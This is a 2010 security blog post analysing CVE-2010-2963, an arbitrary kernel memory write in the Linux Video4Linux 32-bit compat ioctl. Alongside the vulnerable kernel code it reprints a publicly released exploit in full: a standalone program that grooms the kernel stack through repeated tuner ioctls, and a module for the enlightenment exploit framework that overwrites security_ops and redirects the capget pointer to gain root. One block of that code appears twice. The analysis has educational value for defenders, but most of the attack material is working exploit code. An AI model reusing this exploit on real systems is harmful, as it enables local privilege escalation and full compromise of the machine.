xorl %eax, %eax

CVE-2010-2963: Linux kernel Video4Linux Arbitrary Memory Write

with one comment

Before continuing with this post, there is an excellent post published by Kees Cook (who discovered and reported this bug) which you can find here. The vulnerable code can be found at drivers/media/video/v4l2-compat-ioctl32.c where the following routine is.

struct video_code32 {
        char            loadwhat[16];   /* name or tag of file being passed */
        compat_int_t    datasize;
        unsigned char   *data;
};

static int get_microcode32(struct video_code *kp, struct video_code32 __user *up)
{
        if (!access_ok(VERIFY_READ, up, sizeof(struct video_code32)) ||
                copy_from_user(kp->loadwhat, up->loadwhat, sizeof(up->loadwhat)) ||
                get_user(kp->datasize, &up->datasize) ||
                copy_from_user(kp->data, up->data, up->datasize))
                        return -EFAULT;
        return 0;
}

The code here is quite simple. This full of ‘OR’ clause is checking the range of the user provided ‘up’ pointer using access_ok() C macro, it uses copy_from_user() kernel API routine to copy ‘up->loadwhat’ to kernel pointer ‘kp->loadwhat’, then get_user() to perform the same task from ‘up->datasize’ to ‘kp->datasize’ and finally, it copies ‘up->data’ to kernel’s ‘kp->data’.
At first glance this looks fine since the user controlled pointer is checked using access_ok() and inside the kernel API copying routines which all of them perform such range checks.
The issue is on the destination ‘kp->data’ pointer. If we have a look at the IOCTL handler for that specific driver we’ll notice that…

static long do_video_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
{
        union {
#ifdef CONFIG_VIDEO_V4L1_COMPAT
                struct video_tuner vt;
                struct video_buffer vb;
                struct video_window vw;
                struct video_code vc;
                struct video_audio va;
    ...
        } karg;
        void __user *up = compat_ptr(arg);
        int compatible_arg = 1;
        long err = 0;
    ...
        switch (cmd) {
#ifdef CONFIG_VIDEO_V4L1_COMPAT
    ...
        case VIDIOCSMICROCODE:
                err = get_microcode32(&karg.vc, up);
                compatible_arg = 0;
                break;
    ...
        return err;
}

The compatibility mode contains an IOCTL command (the ‘VIDIOCSMICROCODE’) which calls the susceptible routine we saw earlier. Kees Cook noticed that although the user derived pointer ‘up’ is checked, the kernel space ‘kp->data’ isn’t. This results in a copy_from_user() to an arbitrary kernel address.

Since this is a stack location, it’s fairly simple to predict the ‘kp->data’ location if you can manipulate the previous stack frame. Kees Cook discovered those nice IOCTL commands:

        case VIDIOCSTUNER:
        case VIDIOCGTUNER:
                err = get_video_tuner32(&karg.vt, up);
                compatible_arg = 0;
                break;

Which initialize video tuner structure leaving very predictable data on the stack as you can see here:

struct video_tuner32 {
        compat_int_t tuner;
        char name[32];
        compat_ulong_t rangelow, rangehigh;
        u32 flags;      /* It is really u32 in videodev.h */
        u16 mode, signal;
};


static int get_video_tuner32(struct video_tuner *kp, struct video_tuner32 __user *up)
{
        if (!access_ok(VERIFY_READ, up, sizeof(struct video_tuner32)) ||
                get_user(kp->tuner, &up->tuner) ||
                copy_from_user(kp->name, up->name, 32) ||
                get_user(kp->rangelow, &up->rangelow) ||
                get_user(kp->rangehigh, &up->rangehigh) ||
                get_user(kp->flags, &up->flags) ||
                get_user(kp->mode, &up->mode) ||
                get_user(kp->signal, &up->signal))
                return -EFAULT;
        return 0;
}

He said this in his blog post, by calling twice this IOCTL to prepare the stack, the ‘kp->data’ has the contents of the previous stack frame starting from ‘video_tuner->name[20]’ which results in a very straightforward privilege escalation since we have a controlled arbitrary kernel memory write with a controlled value.
As you might have guessed, this resulted in Kees Cook releasing his exploit code. He used ,a href=”http://grsecurity.net/”>spender‘s enlightenment exploitation framework for his exp_vyakarana.c but he also released a stand-alone implementation named vyakarana.c.
Starting with the stand-alone code we have…

#define DEVICE "/dev/video0"

struct video_code32 {
        char            loadwhat[16];
        int             datasize;
        int             padding;
        uint64_t        data;
};

Some definitions, and now if we jump to main() function we’ll see:

int main(int argc, char *argv[])
{
    uint64_t destination = strtoull(argv[1], NULL, 16);
    uint64_t value = strtoull(argv[2], NULL, 16);
    int length = atoi(argv[3]);
    if (length > sizeof(value))
        length = sizeof(value);
    return super_memcpy(destination, &value, length);
}

Which gets the ‘destination’ address and the ‘value’ from user arguments that are later being used when calling super_memcpy() to perform the arbitrary write to that location. The latter routine is nothing more than a simple code using the previously discussed technique.

int super_memcpy(uint64_t destination, void *source, int length)
{
	struct video_code32 vc = { };
	struct video_tuner tuner = { };
	int dev;
	unsigned int code;

	if ( (dev=open(DEVICE, O_RDWR)) < 0) {
		perror(DEVICE);
		return 1;
	}

	vc.datasize = length;
	vc.data = (uint64_t)(uintptr_t)source;

	memset(&tuner, 0xBB, sizeof(tuner));

	// manual union, since a real union won't do ptrs for 64bit
	uint64_t *ptr = (uint64_t*)(&(tuner.name[20]));
	*ptr = destination;

	// beat memory into the stack...
	code = VIDIOCSTUNER;
	syscall(54, dev, code, &tuner);
	syscall(54, dev, code, &tuner);
	syscall(54, dev, code, &tuner);
	syscall(54, dev, code, &tuner);
	syscall(54, dev, code, &tuner);
	syscall(54, dev, code, &tuner);

	code = 0x4020761b; // VIDIOCSMICROCODE32 (why isn't this VIDIOCSMICROCODE?)
	syscall(54, dev, code, &vc);

	return 0;
}

After opening the video device and filling ‘tuner’ with 0xBB he sets the requested destination address starting from ‘tuner.name[20]’ and repeatedly calls ‘VIDIOCSTUNER’ to manipulate the stack frame’s data. Finally, it performs an ‘VIDIOCSMICROCODE’ call to perform the overwrite with the user requested value.

The enlightenment module exploit uses this exact same code too.

struct cap_header_t {
    uint32_t version;
    int pid;
};

#define DEVICE "/dev/video0"

struct exploit_state *exp_state;

char *desc = "Vyakarana: Linux v4l1 compat ioctl arbitrary memory write";
int requires_null_page = 0;

Since I have previously explained what super_memcpy() does I won’t do it again…

int super_memcpy(unsigned long destination, void *source, int length)
{
    struct video_code vc = { };
    struct video_tuner tuner = { };
    int dev;
    unsigned int code;
    char cmd[80];

    if (!built) {
        FILE *source;
        char *sourcecode = "/*\n\
 * CVE-2010-2963: Write kernel memory via v4l compat ioctl.\n\
 * Oct 11, 2010  Kees Cook <kees@ubuntu.com>\n\
 *\n\
 */\n\
#define _GNU_SOURCE\n\
#include <stdio.h>\n\
#include <stdlib.h>\n\
#include <stdint.h>\n\
#include <unistd.h>\n\
#include <sys/types.h>\n\
#include <sys/stat.h>\n\
#include <fcntl.h>\n\
#include <string.h>\n\
#include <sys/ioctl.h>\n\
#include <sys/mman.h>\n\
#include <assert.h>\n\
#include <malloc.h>\n\
#include <sys/types.h>\n\
#include <linux/videodev.h>\n\
#include <syscall.h>\n\
\n\
#define DEVICE \"/dev/video0\"\n\
\n\
struct video_code32 {\n\
        char            loadwhat[16];\n\
        int             datasize;\n\
        int             padding;\n\
        uint64_t        data;\n\
};\n\
\n\
int super_memcpy(uint64_t destination, void *source, int length)\n\
{\n\
    struct video_code32 vc = { };\n\
    struct video_tuner tuner = { };\n\
    int dev;\n\
    unsigned int code;\n\
\n\
    if ( (dev=open(DEVICE, O_RDWR)) < 0) {\n\
        perror(DEVICE);\n\
        return 1;\n\
    }\n\
\n\
    vc.datasize = length;\n\
    vc.data = (uint64_t)(uintptr_t)source;\n\
\n\
    memset(&tuner, 0xBB, sizeof(tuner));\n\
\n\
    // manual union, since a real union won't do ptrs for 64bit\n\
    uint64_t *ptr = (uint64_t*)(&(tuner.name[20]));\n\
    *ptr = destination;\n\
\n\
    // beat memory into the stack...\n\
    code = VIDIOCSTUNER;\n\
    syscall(54, dev, code, &tuner);\n\
    syscall(54, dev, code, &tuner);\n\
    syscall(54, dev, code, &tuner);\n\
    syscall(54, dev, code, &tuner);\n\
    syscall(54, dev, code, &tuner);\n\
    syscall(54, dev, code, &tuner);\n\
\n\
    code = 0x4020761b; // VIDIOCSMICROCODE32 (why isn't this VIDIOCSMICROCODE?)\n\
    syscall(54, dev, code, &vc);\n\
\n\
    return 0;\n\
}\n\
\n\
int main(int argc, char *argv[])\n\
{\n\
    uint64_t destination = strtoull(argv[1], NULL, 16);\n\
    uint64_t value = strtoull(argv[2], NULL, 16);\n\
    int length = atoi(argv[3]);\n\
    if (length > sizeof(value))\n\
        length = sizeof(value);\n\
    return super_memcpy(destination, &value, length);\n\
}\n\
";

        if (!(source = fopen("vyakarana.c","w"))) {
            fprintf(stderr, "cannot write source\n");
            return 1;
        }
        fwrite(sourcecode, strlen(sourcecode), 1, source);
        fclose(source);
        if (system("gcc -Wall -m32 vyakarana.c -o vyakarana") != 0) {
            fprintf(stderr, "cannot build source\n");
            return 1;
        }
        built = 1;
    }

    printf("Writing to %p (len %d): ", (void*)destination, length);
    for (dev=0; dev<length; dev++) {
        printf("0x%02x ", *((unsigned char*)source+dev));
    }
    printf("\n");

    sprintf(cmd, "./vyakarana %lx %lx 8", (uint64_t)(uintptr_t)destination, *(uint64_t*)source);
    return system(cmd);
}

int get_exploit_state_ptr(struct exploit_state *ptr)
{
    exp_state = ptr;
    return 0;
}

unsigned long default_sec;
unsigned long target;
unsigned long restore;

int prepare(unsigned char *buf)
{
    unsigned long addr;

    if (sizeof(long)!=8) {
        printf("Not enough bits\n");
        return 1;
    }

    printf("Reticulating splines...\n");

    addr = exp_state->get_kernel_sym("security_ops");
    default_sec = exp_state->get_kernel_sym("default_security_ops");
    restore = exp_state->get_kernel_sym("cap_capget");

    // reset security_ops
    super_memcpy(addr, &default_sec, sizeof(void*));

    // aim capget to enlightenment payload
    target = default_sec + ((11 + sizeof(void*) -1) / sizeof(void*))*sizeof(void*) + (2 * sizeof(void*));
    super_memcpy(target, &(exp_state->own_the_kernel), sizeof(void*));

    return 0;
}

And, next it goes like this:

int get_exploit_state_ptr(struct exploit_state *ptr)
{
    exp_state = ptr;
    return 0;
}

unsigned long default_sec;
unsigned long target;
unsigned long restore;

int prepare(unsigned char *buf)
{
    unsigned long addr;

    if (sizeof(long)!=8) {
        printf("Not enough bits\n");
        return 1;
    }

    printf("Reticulating splines...\n");

    addr = exp_state->get_kernel_sym("security_ops");
    default_sec = exp_state->get_kernel_sym("default_security_ops");
    restore = exp_state->get_kernel_sym("cap_capget");

    // reset security_ops
    super_memcpy(addr, &default_sec, sizeof(void*));

    // aim capget to enlightenment payload
    target = default_sec + ((11 + sizeof(void*) -1) / sizeof(void*))*sizeof(void*) + (2 * sizeof(void*));
    super_memcpy(target, &(exp_state->own_the_kernel), sizeof(void*));

    return 0;
}

Nothing really interesting apart from that it overwrites ‘security_ops’ with ‘default_security_ops’ and then uses some crazy offset calculations to get the address of this:

struct security_operations {
        char name[SECURITY_NAME_MAX + 1];
     ...
        int (*capget) (struct task_struct *target,
                       kernel_cap_t *effective,
                       kernel_cap_t *inheritable, kernel_cap_t *permitted);
     ...
};

Function pointer leading to the execution of enlightenment’s payload once again using super_memcpy() to perform the arbitrary memory write operation to that location.

Written by xorl

December 19, 2010 at 05:51

Posted in bugs, linux

One Response

Subscribe to comments with RSS.

  1. , ->

    kurt

    December 19, 2010 at 07:15


Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s